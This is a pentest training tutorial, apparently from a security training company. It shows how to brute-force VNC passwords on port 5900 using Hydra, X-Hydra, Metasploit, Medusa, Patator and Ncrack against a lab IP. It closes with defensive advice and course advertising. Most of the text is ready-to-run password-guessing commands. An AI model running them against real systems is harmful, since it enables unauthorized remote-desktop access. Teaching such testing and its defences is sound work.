Password Cracking: VNC
1|Page
Password Cracking: VNC
Contents
Introduc�on ............................................................................................................................................ 3
MITRE ATT&CK Techniques: ............................................................................................................ 3
Introduc�on to VNC (Port 5900) ............................................................................................................. 3
Brute-Force Techniques .......................................................................................................................... 3
Hydra ................................................................................................................................................... 3
Explana�on: .................................................................................................................................... 3
X-Hydra ................................................................................................................................................ 4
Metasploit ........................................................................................................................................... 6
Explana�on: .................................................................................................................................... 6
Medusa ............................................................................................................................................... 7
Explana�on: .................................................................................................................................... 7
Patator................................................................................................................................................. 7
Explana�on: .................................................................................................................................... 8
Ncrack ................................................................................................................................................. 8
Explana�on: .................................................................................................................................... 8
Defensive Strategy .................................................................................................................................. 9
2|Page
Password Cracking: VNC
Introduction
In this ar�cle, we will demonstrate how to iden�fy and exploit VNC services using various tools, each
suited for different scenarios, from quick brute-force atempts to large-scale automated atacks.
MITRE ATT&CK Techniques:
• T1110.001 – Brute Force: Password Guessing
• T1046 – Network Service Scanning
Introduction to VNC (Port 5900)
VNC (Virtual Network Compu�ng) is a protocol used for remote access to computers. It operates on
TCP port 5900 and allows users to control and interact with a remote computer as if they were si�ng
in front of it. However, VNC can also be vulnerable to password cracking atacks, especially if default
or weak passwords are used.
Brute-Force Techniques
Hydra
Hydra is a fast and flexible tool designed for brute-force password cracking across various protocols,
including VNC. It automates the process of tes�ng passwords from a provided wordlist.
To perform a brute-force atack against a VNC service using Hydra, use the following command:
hydra -s 5900 –P /root/Desktop/pass.txt –t 16 192.168.0.6 vnc
Explanation:
• -s 5900: Specifies the port number to atack.
• –P /root/Desktop/pass.txt: Specifies the path to the password list.
• –t 16: Specifies the number of threads to use.
• 192.168.0.6: Target IP address.
• vnc: Protocol to atack.
3|Page
Password Cracking: VNC
X-Hydra
X-Hydra is a graphical user interface for the Hydra tool, allowing users to perform brute-force atacks
in a more intui�ve way.
To perform a brute-force atack against a VNC service using X-Hydra, use the following steps:
Open XHydra in your Kali Linux terminal. Select the Single Target option and enter the IP address of
the victim PC.
Select VNC in the box against the Protocol option and enter the port number 5900 against the port
option.
Go to the Passwords tab and select Password List, then enter the path of your text file containing all
the passwords.
4|Page
Password Cracking: VNC
Go to the Start tab and click on the Start button on the left.
5|Page
Password Cracking: VNC
Metasploit
Metasploit includes auxiliary modules that can perform brute-force atacks on various services,
including VNC. In this case, we can effec�vely automate login atempts to find weak or default
passwords on target systems.
To perform a brute force atack against a VNC service using Metasploit, use the following commands:
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.6
set pass_file /root/Desktop/pass.txt
run
Explanation:
• use auxiliary/scanner/vnc/vnc_login: Selects the Metasploit module designed for brute-
forcing VNC login creden�als.
• set rhosts 192.168.0.6: Specifies the target machine's IP address for the scan.
• set pass_file /root/Desktop/pass.txt: Defines a file containing poten�al passwords to try
during the brute-force atack.
• run: Starts the atack.
6|Page
Password Cracking: VNC
Medusa
Medusa is a speedy, parallel, and modular login brute force that supports mul�ple protocols,
including VNC. It allows testers to perform dic�onary-based atacks against services like VNC.
To perform a brute-force atack against a VNC service using Medusa, use the following command:
medusa -h 192.168.0.6 –u root -P /root/Desktop/pass.txt –M vnc
Explanation:
• medusa: Launches the Medusa brute force tool.
• -h 192.168.0.6: Specifies the IP address of the target machine.
• –u root: Specifies the username to use for the atack.
• -P /root/Desktop/pass.txt: Points to a file containing a list of passwords.
• –M vnc: Indicates that the VNC module should be used for this atack.
Patator
Patator is a versa�le, mul�-threaded brute forcing tool capable of atacking a wide range of
protocols, including VNC. It's modular, highly customizable, and known for its stability and clear,
structured output.
To perform a brute-force atack against a VNC service using Patator, use the following command:
patator vnc_login host=192.168.0.6 password=FILE0 0=/root/Desktop/pass.txt –t 1 –x
retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
7|Page
Password Cracking: VNC
Explanation:
• patator: Launches the Patator brute force tool.
• vnc_login: Specifies the module for brute forcing VNC creden�als.
• host=192.168.0.6: Indicates the target machine's IP address.
• password=FILE0 0=/root/Desktop/pass.txt: Assigns FILE0 as a placeholder for passwords,
pulling values from pass.txt.
• –t 1: Specifies the number of threads to use.
• –x retry:fgep!='Authen�ca�on failure': Specifies the retry policy.
• --max-retries 0: Specifies the maximum number of retries.
• –x quit:code=0: Specifies the quit condi�on
Ncrack
Ncrack is a high-speed network authen�ca�on cracking tool that supports mul�ple protocols,
including VNC. It allows testers to perform brute-force atacks against services like VNC.
To perform a brute-force atack against a VNC service using Ncrack, use the following command:
ncrack -V --user root -P /root/Desktop/pass.txt 192.168.0.6:5900
Explanation:
• ncrack: Launches the Ncrack brute force tool.
• -V: Enables verbose mode.
• --user root: Specifies the username to use for the atack.
• -P /root/Desktop/pass.txt: Points to a file containing a list of passwords.
• 192.168.0.6:5900: Specifies the target machine's IP address and port number.
8|Page
Password Cracking: VNC
Defensive Strategy
• To defend against VNC brute-force atacks, consider the following strategies:
• Use strong and unique passwords.
• Limit access to VNC services using firewalls and access control lists, and consider requiring
secure connec�ons (e.g., SSH tunneling or VPN) to encrypt VNC traffic.
• Monitor for suspicious VNC ac�vity using intrusion detec�on systems and log analysis, such
as mul�ple failed logins atempts from the same IP address within a short �me frame.
• Implement rate limi�ng and IP blocking to prevent brute-force atacks, using tools
like fail2ban or configuring your firewall to block IPs a�er a certain number of failed login
atempts.
By understanding how to iden�fy and exploit VNC services using various tools, you can improve
your defensive strategies and protect your network against poten�al atacks.
To learn more about Password Cracking. Follow this Link.
9|Page
JOIN OUR
TRAINING PROGRAMS
H ERE
CLICK BEGINNER
Bug Bounty Network Security
Ethical Hacking Essentials
Network Pentest
Wireless Pentest
ADVANCED
Burp Suite Pro Web Pro Computer
Services-API Infrastructure VAPT Forensics
Advanced CTF
Android Pentest Metasploit
EXPERT
Red Team Operation
Privilege Escalation
APT’s - MITRE Attack Tactics
Windows
Active Directory Attack
Linux
MSSQL Security Assessment
www.ignitetechnologies.in